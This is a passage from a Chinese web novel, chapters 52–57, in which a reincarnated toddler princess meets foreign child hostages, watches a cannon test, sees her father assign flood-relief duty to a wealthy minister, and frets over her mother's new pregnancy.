《被太子爹读心,幼崽摆烂失败当女帝》 第52章 洋娃娃 第五十二章 洋娃娃 昨天白晓晓还在宫里翻看西洋画册,对着画上金发碧眼的外国人啧啧称奇,没想到今天就见到了真正的“洋娃娃”。 窗外积雪初融,檐角滴落的雪水在青石板上敲出清脆的声响。异族送来的一双质子,原计划在年前就该抵达京城,偏生赶上了一场大雪,于是路上耽搁了三五日的工夫。 “圣上,质子到了。”内侍通传时,白晓晓正捧着暖手炉,三心二意地听着娘亲讲启蒙故事。 陈兮芮讲着王祥卧冰为虐待自己的继母抓鱼。 白晓晓撇嘴:“给自己冻死了,后妈也就省心了......” 陈兮芮讲着董永卖身葬父感动仙女下嫁。 白晓晓继续吐槽:“仙女又做错了什么,要吃这种人间疾苦?” 白洵起身往正殿去,白晓晓果断跟上,小耳朵听不得这种故事,除了抬杠还想抬杠。 唯独留下的陈兮芮还在想:“诶?她刚才说的好像有道理啊。” 殿中站着两个粉雕玉琢的娃娃,一男一女,大概三四岁的样子,都生着一头金发。女孩紧紧攥着身旁侍女的裙角,男孩则挺直腰板挡在妹妹前面,两双湛蓝的眼睛里盛满了惶恐与不安。 白晓晓看得心头一软,这么小的孩子,本该在父母身边儿撒娇,如今却要背井离乡,在这陌生的国度当人质。她不由想起前世看过的历史课本,那些和亲公主的凄惨结局,不自觉地揪着衣角,心里翻腾着: 「这么小的年纪就要出来打工,古代版的童工啊......」 「可怜之人必有可恨之处,说到底都是当权者造的孽。」 「真理只在大炮射程之内,若不能让他们俯首称臣,将来去和亲的怕就是本公主了。」 想到这里,白晓晓揉了揉发僵的小脸,暗暗告诉自己不要多想,造成这种局面的不是她,也不需要她来愧疚。 “安排在玉芳斋住下吧,都收拾妥当了。”白洵低沉的声音突然响起。那金发小姑娘被吓得一个哆嗦,豆大的泪珠在眼眶里打转,却又不敢放声大哭,只能咬着嘴唇小声抽噎,模样可怜极了。 白洵挑眉看了眼自家闺女,那眼神分明在说:去吧,你们用婴语交流一下。 “你好。”白晓晓提着裙摆走上前打招呼,想了想又试探着用英语,“Hi?” 此婴语非彼英语,语言不通是个好问题啊! 如今的英语还没有成为国际第一语言,且不说欧洲各国各有各的语言,就连她老家东北也是一个村一个音调的,这要怎么沟通? 更何况,爹爹就在旁边,就算她会说英语也不敢显摆啊,万一被当成是哪个外星来的怪物...... 还好在一声“嗨”之后,小女孩愣住了,挂在睫毛上的泪珠要掉不掉,蓝眼睛瞪得圆圆的,像极了受惊的小鹿。 白晓晓顿时爱心泛滥,从袖中掏出丝帕,轻轻拭去女孩脸上的泪痕。可怜她自己还是小宝宝,就已经学会了照顾洋娃娃。 “你叫什么名字?”这话是问小姑娘说的,但是她说完就抬头看向一旁的侍女。 那是个二十出头的女子,同样金发碧眼,只是皮肤略显黝黑,粗布衣裙洗得发白,想必是随行的翻译。 侍女恭敬地行了个屈膝礼:“回公主的话,这位是爱丽丝,那位是丹尼尔。”她指了指始另一边的小男孩,“我叫托姆,是两位小主人的侍女兼通译。” 虽然她的汉话水平也只能说一般般,但是无妨,能正常沟通就行。 白晓晓暗暗点头,这安排倒是周到。 既不能让质子忘了母语,又不能让他们在异国他乡两眼抓瞎。 不过小孩子的语言系统通常比较好,相信在不久以后,他们不光能听懂会说,连带着口音都能入乡随俗。 “泥嚎。”丹尼尔突然开口,发音古怪却格外认真。他向前半步,将妹妹护在身后,努力挺起单薄的胸膛,那双蓝眼睛里分明写着警惕,却又强作镇定。 白晓晓心头一热,突然想起前世看过的一句话:每个勇敢的孩子,都是被生活逼着长大的。 丹尼尔低头看着眼前这个还不到自己肩膀的小公主,她穿着绣金线的锦缎袄裙,发间缀着的珍珠随着动作轻轻摇晃,这身打扮在他们部落,怕是能换上二十头肥壮的牛羊。 他悄悄攥紧了藏在袖中的小拳头,临行前母亲说的话犹在耳边:“记住,那是能决定我们部落存亡的贵人。” 所以,即便是不想离开家,不舍得离开母亲,他也不得不到一个陌生的地方来。 或许他能学到更多的本领,将来有一天回到部落,能够统一整个部落,带来粮食和牧草,让族人不再挨饿受冻,不再为冬天的到来而担忧。 白晓晓仰头打量着这个小男孩,他浅金色的睫毛在阳光下几乎透明,像两把小扇子忽闪忽闪的。 也不晓得为什么,人们对于外国人总是会更加宽容,哪怕对方只能简单说个“你好”。 「可能是出于礼貌或者教养。」 「要有大国风范......」 「一定是这样。」 她郑重其事地伸出小手:“欢迎来做客。” 话音未落就后悔了——她依稀记得,西方人见面好像是拥抱来着?现在缩回手会不会显得很失礼? 丹尼尔盯着眼前这只小手看了半晌,公主的手腕上戴着个金镶玉的镯子,衬得皮肤像刚挤出的羊奶一样细腻。他迟疑着握住那只手,嘴角微微勾起。 忽然想起临行前父亲教的礼节,他慌忙松开手,张开双臂想要行贴面礼,嘴唇刚碰到公主发间的珠花,就闻到一阵清甜的桂花香。 还没等他反应过来,一道翠绿色的身影就旋风般插到两人之间。 “放肆!”吉祥姑姑像只护崽的老母鸡,一把将白晓晓拽到身后,连发髻都气得晃歪了,指着丹尼尔的手指直发抖,一时竟说不出话来。 丹尼尔茫然地站在原地,蓝眼睛里满是困惑。 白晓晓扯了扯吉祥的裙摆,从她身后探出脑袋,对着翻译解释道:“这是你们部落的礼仪吗,我还不太习惯。” 「天呐。」 「这下误会可大了。」 「文化差异真是要命......」 第53章 强国路 第五十三章 强国路 托姆连忙上前解释,双手比划着他们部落的见面礼仪。吉祥听完后,脸色这才缓和下来。 “方才是我冒失了。”她福了福身为刚刚的莽撞道歉,可脚步却寸步不离地跟着白晓晓,不肯放松半点。 白洵作为老父亲,对礼数的不同反倒看得开。 当然理解不代表他支持,既然来到了中原,就得守中原的规矩,用我朝的礼仪。 “我带你们去住处看看吧。”白晓晓主动带路,玉芳斋其实离御膳房挺近的,拐两个弯就到。这宫里她熟得很,哪条小路近,哪条走廊有台阶,闭着眼睛都能摸过去。 远远路过御膳房时,就有阵阵香气飘来。 还有一个时辰就要用膳了,此时宫人们早早就开始准备了起来,锅碗瓢盆俱是叮当作响。 她突然想起什么,转头问道:“你们吃不吃得惯这边的食物?”她脑海里浮现出前世见过的西餐——三分熟的牛排还带着血丝,还有各种甜得要命的甜品。再看看自己最爱的红烧蹄膀,油亮亮的酱色裹着酥烂的肉皮,简直是天差地别。 托姆闻言眼睛一亮:“我们平日多食奶酪、奶糕。”她比划着揉面的动作,“若公主不嫌弃,改日我做些我们那儿的特色给您尝尝。” 爱丽丝突然拽了拽白晓晓的衣袖,小姑娘费劲地从布袋里掏出一块白色的硬块,献宝似的递过来。 吉祥刚要阻拦,白晓晓已经接过来咬了一口。 “唔——”浓郁的奶香在口中炸开,随之而来的是强烈的酸涩和腥膻。白晓晓腮帮子鼓鼓的,硬是挤出一个笑容,“要是再甜些就更好了。”她三下五除二就咽了下去,心道还好自己不是个挑食的主儿,不然非得吐出来不可。 爱丽丝蓝眼睛弯成了月牙,突然主动握住白晓晓的手。小女孩的手指冰凉,却紧紧攥着她不放。 「天呐!」 「这就是投喂的魔力吗?」 「果然天下吃货是一家!」 「女孩子的友谊就是来得这么快!」 回去的路上,白晓晓哼着不成调的小曲,连蹦带跳地踩着地上的光影。 “洋娃娃和小熊跳舞,啦啦啦啦~” 吃晚饭时,她咬着筷子突然灵机一动:“爹爹,我想学异族的语言。” 她得找个合理的借口,总不能说自己天生就会外语吧?那也太假了。 白洵刚放下青瓷碗,闻言眉头一皱:“学他们的话作甚?”他接过帕子擦了擦嘴,“要学也是他们学汉话。” 「等等......」 白晓晓一愣,筷子就这么夹在指间,忘记放下,糖醋排骨“啪嗒”一声掉回了碗里。 「对啊!」 「说得好有道理啊!」 「现在是我们才是老大!」 她望着殿外渐沉的暮色,忽然笑出了声。 那笑容里带着几分释然,几分畅快——现在不是那个师夷长技以制夷的憋屈时代了,所以只需要把东方的传统文化传向世界,不用再忍受西方国家的文化霸凌! 而她,再也不用像上辈子那样,苦哈哈地背英语单词背到头晕眼花了! 白晓晓美滋滋做了个好梦,梦里她带着新研制的大炮横扫四方,把那些总爱挑事的邻国吓得屁滚尿流。可还没等她梦到自己加官进爵呢,就被吉祥从被窝里叫醒。 “公主快醒醒,圣上要带您去练武场呢!”吉祥一边说着,一边往她身上套衣服。先是保暖的棉袄,再是厚实的狐裘,最后还非要给她围上一条毛茸茸的围脖。 白晓晓感觉自己被裹成了一个球,走起路来摇摇晃晃的,活像只笨拙的小企鹅。 「这是要把我裹成粽子啊!」 「这哪是去练武场,分明是要去北极探险!」 「哎,有一种冷叫做吉祥觉得我冷。」 她一边在心里吐槽,一边踮着脚尖往炮台那边张望。 远处的士兵们正在往炮膛里填装火药,黑色的火药颗粒从漏斗中缓缓滑落,发出沙沙的声响,她的心跳不由自主地加快。 白洵轻抚着炮管上冰凉的纹路,神色凝重。 “点火!” 震天巨响中,白晓晓只觉五脏六腑都被震得移位,炮弹出膛的瞬间,气浪掀飞了她鬓角的绢花,三百步外的花岗岩靶山轰然炸裂,碎石如雨点般砸在护城河里。 她张着嘴巴却听不见自己的惊叫,耳中只剩震耳的嗡响,整个世界都变得不真实起来。 炮声的余韵里,白溪已经兴奋地跳了起来,她扯着嗓子喊道:“皇兄,这玩意儿太带劲了!要是早点造出来,那些蛮子早就被吓得尿裤子了!” 打败了一个异族部落,还有其他的部落,不光西北,还有西南、东南地区,只要她哥想开张扩土,分分钟令下,她就能带着这大炮踏平四方。 她的铠甲鳞片哗啦作响,像极了猛兽的磨牙声。 同在观礼台上的白沥被这惊天动地的炮声震得双腿发软,差点一个踉跄栽倒在旁边的异族使者身上。他扶着栏杆,眼睛却亮得吓人:“这玩意儿要是放在我的封地,看东边那几个小国还敢在贸易上耍花样!” 他已经在心里盘算着,怎么跟皇兄讨要几门这样的大炮回去撑场面了。 再看那位异族使者阿尔罕,此刻面如土色,牙齿打架浑身发抖。 “幸好...”他生硬的汉话混着牙关打颤的咯咯声,“幸好结束了......”他望着靶山上丈余深的弹坑,脊背一阵发寒。 在这炮火之下,骑兵的弯刀不过是孩童的玩具。 他既庆幸又后怕,要不是部落及时归顺,恐怕第一个被这大炮轰成渣的,就是他们了。 自从知道烟花和火炮是“孪生姐弟”,白洵就秘密派人加紧研制。没想到开年就收到了这样的好消息。 他揉着嗡嗡作响的耳朵,想起闺女说的那句“真理只在大炮的射程之内”,看着阿尔罕惊恐万状的样子,他对这句话有了更深的理解。嘴角勾起一抹意味深长的笑容,他故意问道:“使者觉得,这炮的威力如何?” 阿尔罕强撑着行礼,声音都在发抖:“威力...威力十足......” 炮管渐渐冷却,空气中弥漫着淡淡的金属味,白晓晓不知道是被这气味熏的,还是被眼前的场景所震撼,眼眶不知不觉就红了。 第54章 寒冻灾 第五十四章 寒冻灾 大年初七,天还没亮光,京城的街道上就飘起了星星点点的灯笼光。文武百官们裹着厚厚的皮袄,一边打着哈欠一边往宫里赶——这年还没过完呢,就得起早贪黑地上朝了。 白晓晓板板正正地坐在自己的新座位上,小脸皱成一团。 ——没错,她终于有了专属座位,这回可不是以前那个能躺着打滚的摇篮了,而是个正儿八经的椅子。虽然脚底下有个炭火盆烤得暖烘烘的,但她还是困得直点头。 她偷偷伸了个懒腰,结果一抬头就对上了满朝文武齐刷刷的目光,吓得赶紧缩回手,老老实实坐好,装出一副乖巧模样。 「哎,以前四仰八叉也没人能瞧见,现在连腿都不敢伸直......」 「当皇帝和坐牢到底有什么区别呢?」 「我不理解……」 小姑娘满脸写着“我自愿上班”,时不时还打个哈欠,眼角都挤出两滴眼泪。白洵瞥了她一眼,差点笑出声——这丫头,明明是他这个当爹的在干活,怎么她比他还困? “众爱卿平身——” 白洵刚开口,白晓晓的脑袋就开始一点一点往下坠,活像只啄米的小鸡。最后实在撑不住,干脆往后一靠,直接睡了过去。 「zzz……」 白洵本想着简单说两句新年祝福,再勉励下大家新的一年好好干活。谁知道左相一开口就刹不住车了—— “臣恭祝圣上龙体安康,新年吉祥,愿新的一年风调雨顺、国泰民安......” 白晓晓被这聒噪的声音吵醒,迷迷糊糊抬起头,脑瓜子嗡嗡的,看向左相的眼神充满了怨念。 「能不能直接说人话?」 「叽里哇啦说什么呢?」 「要不给我点钱花花吧,反正你老头家里比国库还富有……」 她揉了揉惺忪的睡眼,忍不住在心里疯狂吐槽。 「有事说事,当朝堂是你家饭桌呢?」 「还挺来劲儿,越说越精神了嘿。」 白洵听着闺女的吐槽,自动屏蔽了左相的废话,满脑子就记住了一句——“比国库还富有?” 他眯起眼睛,仔细打量左相。这老头平时穿得挺朴素,官服都洗得发白,吃饭也节俭,怎么闺女说他比国库还有钱? 是贪污受贿? 还是祖上积财? 难道有其他的正规来钱渠道吧? 正琢磨着,左相终于结束了他的长篇大论,高喊一声:“...圣上英明!” 白洵猛地回神,差点咬到自己的舌头,赶紧咳嗽两声掩饰尴尬:“咳咳~还有其他要事禀报吗?” 就在这时,犄角旮旯里突然站出来一个不太眼熟的官员,高声道:“臣有本奏!” 满朝文武齐刷刷看过去,心想这谁啊?大过年的,怎么这么不懂事? “西南一带年前遭遇暴雪,寒冻成灾,民房倒塌、牲畜冻死无数,急需救援!” 朝堂瞬间哗然。 其实这事不少人都知道,但谁都不想在大过年的时候触霉头,所以一直瞒着不报。毕竟——天高皇帝远,死几个人、冻死几头牲畜算什么? 可偏偏就有这么个“不长眼”的,非要在今天捅出来。 白晓晓一听,瞬间清醒了。 「年前的事怎么现在才报?」 「这都过去好多天了!」 「抢险救灾要拼一个快字啊!」 她急得直搓手,南方很少下雪,一旦碰上暴雪,那就是重大灾害。 她想起自己前世在南方打工的时候,冬天全靠一身正气硬扛,更何况这个时代,御寒措施几乎为零,灾民们现在得冻成什么样? 炭火盆里的火苗渐渐微弱,白晓晓忍不住缩了缩脖子,打了个寒颤。大殿里的温度似乎随着火势的减弱而骤降,连呼出的白气都清晰可见。 「救灾肯定要花不少银子...」 「爹爹肯定都得愁秃了。」 「左相老头这时候怎么不说话了?」 她偷偷瞄向左相,发现这老头正眼观鼻、鼻观心,一副低头不理俗事的样子。 「哟,刚才不是挺能说的吗?」 「现在装哑巴了?」 白洵也注意到了左相的沉默,眼神渐渐冷了下来。 “左相。”他缓缓开口,声音不轻不重,却让整个朝堂瞬间安静下来。 左相心里“咯噔”一下,连忙上前一步,恭敬道:“臣在。” “朕记得,你方才说了许多新年愿景,其中有一句‘国泰民安’?” “是,臣愿天下百姓安居乐业,不受灾祸之苦。”左相低头应答,语气诚恳。 “既然如此,”白洵点点头,语气温和,却带着不容拒绝的意味,“西南寒冻成灾一事,便交由你来督办。” 左相猛地抬头,眼中闪过一丝慌乱,但很快又恢复镇定:“臣……臣遵旨。” 「该!让你装大尾巴狼!」 「这下看你往哪儿躲!」 白晓晓在一旁看得直乐,赶紧用袖子捂住嘴,生怕笑出声来。她爹这招太损了——光耍嘴皮子可不行,事儿办不好就摘你的乌纱帽!抄你的豪宅!花你的私房钱! 白洵继续道:“国库会拨银二十万两用于赈灾,但西南路途遥远,物资转运需快马加鞭,不得延误。” 左相额头渗出细汗,硬着头皮应下:“臣定当竭尽全力。” 「这波操作我给满分!」 「爹爹威武!爹爹霸气!」 白洵似笑非笑,又补了一句:“对了,朕听闻西南一带官仓存粮不足,若赈灾银两不够,左相可自掏腰包垫付,待日后国库宽裕,再补还给你。” 左相:“……?!” 「噗——」 「我爹真是个狠人!」 「不过,他知道老头家底儿丰厚,肯定也知道他家的银子怎么来的!」 白晓晓再次感叹爹爹的英勇睿智,对他的神通广大深信不疑,并且忍不住翘着小脚,一晃一晃的。 「让你比国库有钱!」 「这下看你怎么藏!」 左相脸色一阵青一阵白,勉强挤出一句:“……臣、臣遵旨。” 退朝后,左相脚步虚浮地走出大殿,整个人像是被抽干了精气神。 白晓晓眨巴着大眼睛,突然悟了:原来当皇帝还能这么玩——花别人的钱,让别人无钱可花! 这招简直绝了! 第55章 怀二胎 第五十五章 怀二胎 白洵刚下早朝,朱红色的朝服还未换下,就听内侍慌慌张张来报:"陛下,皇后娘娘身子不适,传了太医......" 他心头猛地一沉,一把抱起女儿,三步并作两步往后宫赶去。 尚未立春的风还带着凉意,他却走得又快又急,随行的内侍要小跑着才能跟上。 “圣上,”内侍气喘吁吁地追上来,“是喜事!娘娘有喜了!” 白洵猛地刹住脚步,他低头看着女儿圆溜溜的眼睛,突然大笑出声:“晓晓,你要当姐姐了!” “哇——”白晓晓先是一愣,随即眼睛亮得像星星。 终于能堵那俩老太妃的嘴了,每次听她们叨叨,都想把耳朵堵上! 不过在这个医疗落后时代,生孩子应该挺遭罪的,一想到这,她的小脸顿时皱成了包子,又喜又忧。 此时的陈兮芮正靠在绣着百子图的软枕上,今早起床她就觉得天旋地转,闻到早膳的荤腥味更是吐得昏天黑地。 身边伺候的宫人吓得脸都白了,赶忙去喊来了太医。 这次来的是文太医,他算是整个太医院最有经验的老太医了,果不其然是滑脉。 文太医捋着花白的胡子,笑得眼睛眯成一条缝,“虽然脉象尚弱,但老臣行医四十载,绝不会诊错。” 正说着,殿外传来急促的脚步声,白洵抱着闺女风风火火闯进来。 “芮娘!”白洵见着陈兮芮就拉上了她的手,“一点都没吃下吗,叫御膳房做点清淡的,腌的酸黄瓜上一盘。” 他记得怀晓晓那时候,她最爱这一口。 “没有大碍,就是没什么胃口。”陈兮芮摸了摸没什么动静的肚子,想到这孩子来的正是时候,十月怀胎到生产正好是腊月,坐月子也不会太热,她眼里盈满温柔的笑意。 白晓晓早就自己甩掉了小靴子,像只灵活的小猫一样爬上床,乖乖依偎在娘亲身边。等爹娘说完话,她才小心翼翼地凑过去,把脑袋贴在陈兮芮的胳膊上:“弟弟要乖乖的,不许折腾娘亲。” 她心里门儿清,在这个时代,皇帝必须有个儿子,与其让娘亲年岁大了再冒险,不如趁早生个接班人,还能少受些罪。 白洵被女儿煞有介事的样子逗乐了:“你怎么知道是弟弟?” “肯定是。”白晓晓信誓旦旦地点头,小手在陈兮芮肚子上方比划着,嘴里还念念有词,“天灵灵地灵灵,给我来个弟弟行不行~” 陈兮芮忍不住笑出声,心里却和女儿想到一处去了。 她何尝不想要个儿子?不仅圆了她儿女双全的梦,更能堵住前朝后宫上那些催着选秀、要立储君的嘴。 人人都盯着她的肚子,这个压力着实不小。 她轻轻握住白洵的手,眼中既有喜悦,又有一丝不安:“这次要是......” “别多想。”白洵捏了捏她的手心,“无论是皇子还是公主,我都欢喜。” 「女子生产宛如鬼门关走一遭。」 「该怎么提醒太医,降低风险呢?」 白晓晓有点犯愁,她掰着手指头细数着这个时代落后的医疗条件:没有B超检查胎位,没有无痛分娩针,更别提紧急情况下的剖腹产手术了。 「如果胎儿太大怎么办?」 「得提醒娘亲多走动走动才行。」 「要是能做个剖腹产手术就好了......」 她无意识地琢磨着,怎么样才能把现代医疗医术讲清楚的时候,却不知自己的心声全被白洵听了去。 剖...腹产? 白洵在心里反复琢磨这个词,虽然不明白具体操作,但光听字面意思就让他脊背发凉。这不就是像仵作验尸那样剖开肚子吗?活人怎么能经得起这样的折腾? 他悄悄打量着女儿忧心忡忡的侧脸,那小模样完全不似周岁多的孩童。虽然早知道闺女有些奇奇怪怪的见识,但涉及到人命关天的事,还是让他心惊肉跳。 “南方灾情紧急,我先去处理政务。”白洵起身时揉了揉女儿的脑袋,又嘱咐宫人好生照看皇后,说完便快步离开,临走时还特意叫上了文太医。 走到院门外,他压低声音问道:“你行医多年,可曾听说过,用刀剖开产妇腹部接生的法子?” 文太医吓得左脚绊右脚,药箱差点扔白洵身上:“圣上,老臣只听说过始祖禹是剖背而生的,可那都是上古传说啊!没有听说过哪个活人开膛取子的事,这万万使不得啊!” 白洵若有所思地点点头,转身往御书房走去。他脚步沉重,连平日里挺拔的背影,怎么看怎么心事重重。 陈兮芮半靠在软榻上,将女儿冰凉的小手拢在掌心:“晓晓的手怎么这么冷?吉祥,快去取汤婆子来。”她苍白的脸上带着温柔的笑意,轻轻拍着身边的空位,“来,陪娘亲躺会儿。” 白晓晓像只小松鼠般钻进娘亲怀里,闻着熟悉的味道,不知不觉就睡着了。朦胧中,她感觉有人轻轻抚过她的发梢,那动作温柔得让人想哭。 晚膳时分,御膳房精心准备的菜肴摆了满桌,却无人动筷。 白洵还在御书房与大臣们商议赈灾事宜,陈兮芮刚闻到味道就又吐得天昏地暗,白晓晓也是胃口全无。 她方才做了个梦,梦里回到了前世,离婚后的父母各自有了新家庭,也都生了儿子。记忆里那些刺耳的话语又响了起来: “养女儿有什么用?还是得靠儿子传香火!” “女娃将来都要嫁到别人家去,给口饭吃就不错了。” “宝贝儿子才是我们家的根啊!” 梦里面,那个素未谋面的弟弟挑衅地朝她做鬼脸,她伸手想抓住什么,却发现自己一无所有。 醒来以后,连她平时最爱的红烧蹄髈都变得索然无味。 白晓晓抱着膝盖坐在窗边,月光把她的影子拉得很长。 「等弟弟出生了,爹爹娘亲肯定会更疼他吧...」 「不过没关系,我是姐姐,我要保护弟弟。」 「我才不会吃醋呢...一点都不......」 小小的身影在月光下缩成一团,虽然拼命忍着,但泛红的眼圈还是出卖了她的心情。 第56章 散散心 第五十六章 散散心 白晓晓失眠了。 这可是破天荒头一遭。 平日里,她沾枕头就能睡,梦里还能指挥千军万马,把那些催她爹纳妃的老臣们统统发配到西伯利亚种土豆。可今晚,她翻来覆去,脑子里全是那个噩梦——爹娘抱着弟弟笑得开心,而她站在角落里,像个多余的小影子。 “烦死了!” 四更天的梆子刚响过,吉祥的声音准时响起。:“公主,该起了... “不去了,不去了。”被子里传来闷闷的抗议声,“说啥都不去了......” 白晓晓迷迷糊糊地翻了个身,把锦被往脑袋上一蒙。 「这破班谁爱上谁上!」 「本公主要睡觉!」 「就算天上下刀子我也不起!」 「眼睛一闭一睁,今天就算混过去了...」 她的眼皮像是被胶水黏住了,沉得根本抬不起来。不用照镜子都知道,肯定是肿得不成样子了。 吉祥无奈,只好去禀报圣上身边的内侍:“公主今日告假。” —— 日上三竿,白晓晓才慢悠悠地爬起来。 “公主这眼睛……”吉祥拧着眉,心疼地给她敷热帕子,“昨晚没睡好?” “嗯,揉眼睛揉的。”白晓晓随口糊弄过去,声音比平时高了八度,试图掩饰自己地心虚。 吉祥将信将疑,但也没再多问。 她一边给公主梳头,一边絮絮叨叨:“昨儿晚膳就没怎么用,又错过了早膳......” 白晓晓望着铜镜里的自己,突然觉得特别委屈,爹爹忙着处理国事,娘亲又因为怀了弟弟身子不适,她突然觉得自己像个没人关心的小苦瓜,孤零零地杵在皇宫这个大菜园子里。 “吉祥,”她突然转过身,“我能不能...出宫啊?” “哈?!”吉祥手里的玉梳差点掉地上。 白晓晓自己也觉得这个要求有点离谱,赶紧补充道:“我是说...去陈家!对!去看看外祖母!” 反正她又不是第一次去,那是娘亲的娘家,她去走动走动,多么的合情合理。 陈兮芮听了她的请求,倒也没拦着。 眼下她身子不便,身边又多是新晋的宫女,经验不足。正好让晓晓去陈家一趟,顺便让母亲帮忙物色几个可靠的嬷嬷和奶娘。 “记得晚膳前回来。”陈兮芮摸了摸女儿的发顶,“要是误了时辰......” “知道知道,宫门落钥就得在外头过夜了!”白晓晓迫不及待地接话,眼睛亮得像星星。 马车晃晃悠悠地驶出宫门,白晓晓就活像只出笼的小鸟,外头热闹的市井声像带了钩子,勾得她心痒难耐。 “公主,不能掀帘子!”吉祥一把按住她蠢蠢欲动的小手。 “我就看一眼!” “不行!” “那……那能给我买个刚出炉的包子吗?”她眼巴巴地讨价还价,“麻花也行,我闻见炸麻花儿的香味了!” 吉祥犹豫着,生怕小公主吃坏了肚子,自己回去不好交代,故意板着一张脸还是婉拒了:“等到了陈家再差人去买。” “哼!”她从随身的小荷包里掏出两块点心,恶狠狠地咬了一口。明明是一样的点心,怎么今天吃起来这么没滋味呢? 陈府的朱漆大门近在眼前,马车刚行驶不到一刻钟就稳稳停在了内院,门房见是公主车驾,连忙敞开大门相迎。 白晓晓刚掀开车帘,就瞧见外祖母站在廊下翘首以盼,老太太虽已年过五旬,却精神矍铄,眉眼间透着股英气,一看就是年轻时雷厉风行的主儿。 “我说今儿早上喜鹊怎么喳喳叫个不停,原来是我的小乖孙儿要登门。” 白晓晓笑得见牙不见眼,扑进老太太怀里。 说来也怪,虽然见面次数屈指可数,可这怀抱就是莫名让人安心,带着淡淡的檀香味,跟娘亲身上的味道很像。 正说着话,院门外又传来一阵脚步声。 也是巧了,陈再衍前后脚出了宫门,两人更是一前一后进了院子。 “我说今儿怎么......”他话还没说完,就被老太太打断。 “喜鹊叫是吧?”老太太白了他一眼,“你姐小时候就会这一套,现在轮到你了。” 陈再衍尴尬地摸摸鼻子,献宝似的把藏在身后的风筝亮出来:“瞧瞧,刚做好的燕子风筝,就就把你给盼来了。” 白晓晓仰着小脸,目不转睛地盯着那个燕子风筝。薄如蝉翼的绢面上绘着五彩斑斓的羽毛,尾翼上还缀着几串小铃铛,风一吹就叮当作响。 说来也遗憾,她两辈子加一块儿,都没有放过风筝呢! “下个月就能去踏青了,到时候小舅舅陪你去放风筝。”陈再衍蹲下身,一副想抱又不敢抱的样子。 “谢谢小舅舅。”白晓晓乖巧道谢,眼睛却一直黏在风筝上。 老太太越看外孙女越喜欢:“晓晓真是伶俐。”转头对儿子道,,“你和你姐小时候也聪明,你和你姐小时候也算聪明,可谁家孩子一岁半就能说会道的?” 「阿捏......」 「第一次穿越没经验。」 「我该不会露馅儿了吧。」 白晓晓紧张地搓着小手,赶紧露出个傻乎乎的笑容蒙混过关。 好在老太太也没多问,张罗着让人端来各色点心,几个嬷嬷围在旁边唠家常:“姐姐带着弟弟来,咱们公主是个有福气的。” “等小皇子出生了,公主还能带着弟弟一块儿放风筝......” 白晓晓啃点心的动作突然顿住了,她低着头,长长的睫毛在脸上投下一片阴影。 陈再衍敏锐地察觉到她的情绪,找了个借口将小人儿带出了屋子,不动声色地问:“怎么啦?我们的小公主有心事?” 白晓晓犹豫了一下,先是摇了摇头,纠结了好半天才开口道:“就...有一点点难过。” “跟小舅舅说说,保证不告诉别人。”陈再衍煞有其事地伸出三根手指头。 “等弟弟出生了,爹爹肯定更喜欢弟弟。”她的声音越来越小,揪着衣角纠结了半天,才伸出两根手指比划:“就...有一点点难过。” 陈再衍愣了一下,突然哈哈大笑。 他揉了揉小外甥女的脑袋:“傻丫头,从来没有公主上朝的先例,你爹爹都让你放肆去玩儿了,他怎么会不疼你呢?” 白晓晓眨巴着眼睛,总觉得这话哪里不对,爹爹疼她和更疼弟弟又不冲突...... 「不过,跟一个胚胎去争宠,我也太没出息了吧!」 她甩甩脑袋,决定大度地将这事儿翻页。 第57章 大包子 第五十七章 大包子 “手心手背都是肉,况且还不一定是弟弟呢。”陈再衍看着眼前这个板着小脸、活像个操心小大人的外甥女,确实感觉她比寻常小孩子要机灵许多,但到底还是个孩子呢。 “莫要担心这些啦,傻丫头。”他蹲下身,对上一双水汪汪的大眼睛,“不管是弟弟还是妹妹,都是咱们家的宝贝,但是小舅舅保证最疼你!” 白晓晓“嗯”了一声,终于露出个发自内心的笑容,随后又伸出一个小拇指举得老高:“小舅舅要帮我保密。” 她本来想自己消化这些小心思的,但看在小舅舅给她做了那么多新奇玩具的份上,还是给他个面子吧。 陈再衍顿时笑开了,粗粝的大手小心翼翼地勾住那根细嫩的小手指:“拉勾上吊,一百年不许变......” “好啦好啦!”白晓晓猛地抽回手,忽然有些不好意思,她蹦蹦跳跳地就要往回跑,也不知道吉祥答应的小笼包和炸麻花到底还做不做数。 她跑了两步又突然停下,捂着肚子可怜巴巴地回头,一天没吃什么东西了,根本没力气活蹦乱跳。 「好想吃烧烤啊~撒满辣椒面的那种!」 「还有炸鸡排、烤冷面......」 「呜呜呜这个世界连辣椒都没有!」 「辣椒啊辣椒,等回头我就问问爱丽丝。」 她索性往地上一蹲,耍起赖来:“小舅舅,我饿得走不动啦!” 陈再衍哭笑不得地抱起这个小人儿,小丫头看着不胖,抱起来倒是软乎乎的。他特意选了条近路,从陈家后院的小花园穿过去。 “瞧见那边的鱼塘没?”他指着波光粼粼的水面,“你娘亲小时候最爱在这儿喂鱼,有次差点掉下去,把你外祖母吓坏了。” “想吃红烧鱼...”白晓晓咽了咽口水,“糖醋的也好吃!” 陈再衍脚下一个踉跄,无奈地继续介绍:“这边有棵老枣树,秋天结的枣子又大又甜。你娘亲以前经常爬上去偷吃,听说有回下不来,哭得惊天动地的。” “蜜枣糕...枣泥酥...”白晓晓舔了舔嘴唇,肚子突然咕噜噜响起来,她小脸一红,嘿嘿笑着。该怎么解释她是饿了,不是个馋猫? 陈再衍是个称职的小舅舅,很给面子地没戳穿。他抱着晓晓快步穿过月洞门,还没进小厨房,就闻到扑面而来的面香。 还没到正经饭点儿,陈家的小厨房已经热闹得像过年。三层高的竹制笼屉冒着腾腾热气,白雾裹挟着面食的甜香弥漫在整个院子里。 刚出笼的包子白白胖胖,花卷拧着俏皮的螺旋,金黄的韭菜盒子在油锅里“滋滋”作响。 全是因为陈家老太太是个地道的北方人,独爱这些面食,于是陈家的白案师傅个个都被磨练得手艺精湛。 “瞧瞧,相中了哪个?”陈再衍笑着把晓晓抱到灶台前,像展示什么珍宝似的挨个掀开笼屉。 小丫头趴在舅舅肩头,眼睛瞪得圆溜溜的——在宫里整天吃的是精致的御膳,哪见过这么实在的北方面食啊! 一看见那些白胖白胖的大包子,白晓晓就走不动路了。这时候谁还记得什么街边小摊的小包子啊,一个个十八个褶儿的大包子,比她的拳头还大! 她眼睛一眨不眨地盯着,口水都要流出来了。 系着白围裙的大师傅笑呵呵地站出来,他那圆滚滚的脑袋和蒸笼里的包子简直是一个模子刻出来的:“小主子,这素馅儿有香菇青菜馅儿、韭菜鸡蛋馅儿,肉馅儿就是猪肉大葱的。要不要再来个糖三角?流心的红糖芝麻馅儿,咬一口能甜到心里去呢!” 